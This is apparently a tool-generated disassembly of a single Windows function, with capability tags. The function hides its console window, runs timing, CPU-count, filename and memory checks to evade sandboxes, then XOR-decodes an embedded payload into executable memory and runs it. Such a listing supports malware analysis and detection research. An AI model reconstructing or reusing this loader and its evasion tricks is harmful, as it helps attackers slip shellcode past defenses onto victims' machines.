Function at 0x140001581
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x5b0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x550], ecx
mov qword [rbp + 0x558], rdx
call fcn.1400019e0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x510], rax
mov rax, qword [rbp + 0x510]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov qword [rbp + 0x508], 0
mov ecx, 0x17253965
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x508], rax
cmp qword [rbp + 0x508], 0
je 0x14000160d
mov rax, qword [rbp + 0x508]
mov r8d, 0x17253965
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x504], eax
mov ecx, 0x9c0c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x500], eax
mov eax, dword [rbp + 0x500]
sub eax, dword [rbp + 0x504]
cmp eax, 0x9c0b
jg 0x140001656
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x508]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0x4b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x4d0]
mov dword [rbp + 0x4fc], eax
cmp dword [rbp + 0x4fc], 1
jg 0x140001697
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x558]
mov rax, qword [rax]
lea rdx, str.dat.dat.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140001713
mov dword [rbp + 0x4f8], 0
mov qword [rbp + 0x4f0], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x4f0], rax
cmp qword [rbp + 0x4f0], 0
je 0x14000175d
jmp 0x14000171d
mov ecx, 0
call sub.msvcrt.dll_exit
lea rcx, str.rnWCBoaZraM
call fcn.140001530
movabs rax, 0x6ad7ebd23
mov qword [rbp + 0x4e8], rax
mov qword [rbp + 0x528], 0
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x520], 0
jmp 0x140001777
mov ecx, 0
call sub.msvcrt.dll_exit
add qword [rbp + 0x528], 1
add qword [rbp + 0x520], 1
mov rax, qword [rbp + 0x520]
cmp rax, qword [rbp + 0x4e8]
jl 0x140001767
mov rax, qword [rbp + 0x528]
cmp rax, qword [rbp + 0x4e8]
je 0x1400017a1
mov ecx, 0
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x2b0]
lea rdx, [0x14000a018]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
lea rax, [rbp + 0x1b0]
lea rdx, [0x14000a218]
mov ecx, 0x1f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x51c], 0
mov dword [rbp + 0x518], 0
jmp 0x14000187d
cmp dword [rbp + 0x51c], 0xfc
jne 0x140001841
mov dword [rbp + 0x51c], 0
mov eax, dword [rbp + 0x518]
cdqe
movzx edx, byte [rbp + rax + 0x2b0]
mov eax, dword [rbp + 0x51c]
cdqe
movzx eax, byte [rbp + rax + 0x1b0]
xor edx, eax
mov eax, dword [rbp + 0x518]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0x51c], 1
add dword [rbp + 0x518], 1
mov eax, dword [rbp + 0x518]
cmp eax, 0x1fe
jbe 0x14000182b
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1ff
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x4e0], rax
mov rax, qword [rbp + 0x4e0]
mov rdx, rax
lea rax, [rbp - 0x50]
mov ecx, 0x1ff
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
mov edx, ecx
shr edx, 3
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x4e0]
call rax
mov eax, 0
add rsp, 0x5b0
pop rsi
pop rdi
pop rbp
ret